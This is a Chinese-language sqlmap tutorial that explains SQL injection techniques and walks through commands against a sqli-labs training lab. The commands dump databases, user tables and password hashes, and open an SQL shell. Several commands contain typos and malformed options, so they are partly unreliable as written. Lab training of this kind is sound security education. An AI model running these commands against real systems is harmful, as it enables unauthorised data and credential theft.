sqlmap SQL注入工具使用
sqlmap工具注入[1]
1.sqlmap介绍
1.1.sqlmap简介
1.1.1.sqlmap简介
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
1.1.2.sqlmap支持
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
1.2.sqlmap支持的注入方式
Sqlmap全面支持六种SQL注入技术:
基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入:在可以使用Union的情况下的注入。
堆查询注入:可以同时执行多条语句时的注入。
带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
1.3.sqlmap安装
该工具可以在kail中是自带的。
2.sqlmap使用
2.1.常用参数
当网站需要登录时,探测该页面是否存在漏洞:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"]
抓取其post提交的数据填入:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --data="username=admin&password=admin&submit=submit"
爆出所有的数据库:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --dbs
爆出所有的数据表:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --tables
爆出数据库中所有的列:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --columns
查看数据库当前的用户:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --current-user
查看当前的数据库:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --current-db
爆出数据库security中的所有的表:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] -D security --tables
爆出security数据库中users表中的所有的列:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] -D security -T users --columns
爆出数据库security中的users表中的username列中的所有数据:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] -D security -T users -C "id,username,passdord" --dump
爆出数据库security中的users表中的username列中的前100条数据:命令:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] -D security -T users -C username --dump --start 1 --stop 100
爆出数据库security中的users表中的所有数据:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] -D security -T users --dump-all
爆出数据库security中的所有数据:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] -D security --dump-all
爆出该数据库中的所有数据:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --dump-all
查看数据库的所有用户:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --users
查看数据库用户名的密码:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --passwords
交互式shell:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --sql-shell
列出数据库所有管理员角色,仅适用于oracle数据库的时候:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --roles
判断当前用户是否有管理员权限(DBA权限):sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --is-dba
若有管理员权限则会有:

枚举数据库管理系统用户:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --users
枚举数据库管理系统用户的权限:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --privileges
从不询问用户输入,使用默认配置:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --batch
执行测试的等级(1-5个等级,默认为1):sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --level (1-5)
cookie注入,注:此注入方法一般使用等级3:sqlmap -u " http://192.168.10.150/sqlilabs/Less-1/?id=1" [--cookie="抓取的cookie"] --level 3 --cookie "uname=admin"
有时候使用 --passwords 不能获取到密码,则可以试下:
当MySQL< 5.7时:-D mysql -T user -C host,user,password --dump
当MySQL>= 5.7时:-D mysql -T user -C host,user,authentication_string --dump
2.2.使用数据包进行注入(POST注入)
在使用sqlmap进行注入点查询时,发现没有注入点,但实际存在漏洞,那么这时就可以使用 -r 文件名 这个语法
例:
步骤一:先使用bp等软件进行抓包,然后将疑似存在注入漏洞的url的包进行保存,保存在一个文档文件中即可
步骤二:使用sqlmap对数据包进行注入、重发,命令:sqlmap -r data.txt
3.案例
3.1.案例sql-labs-less-1 测试注入
3.1.1.探测是否存在漏洞
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 [--cookie='抓取的cookie']

3.1.2.查询当前用户下的所有数据库
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 [--cookie='抓取的cookie'] -dbs

3.1.3.获取数据库中的表
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 [--cookie='抓取的cookie'] -D security -tables

3.1.4.获取表中的字段数
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 [--cookie='抓取的cookie'] -D security -T users -columns

3.1.5.获取字段内容
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 [--cookie='抓取的cookie'] -D security -T users -C username,password -dump

3.2.案例sql-labs-less-1 其他注入
3.2.1.获取数据库下所有用户
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1-users

3.2.2.获取数据库下密码
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1-passwords

3.2.3.查看数据库当前用户
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1-current-user


浙公网安备 33010602011771号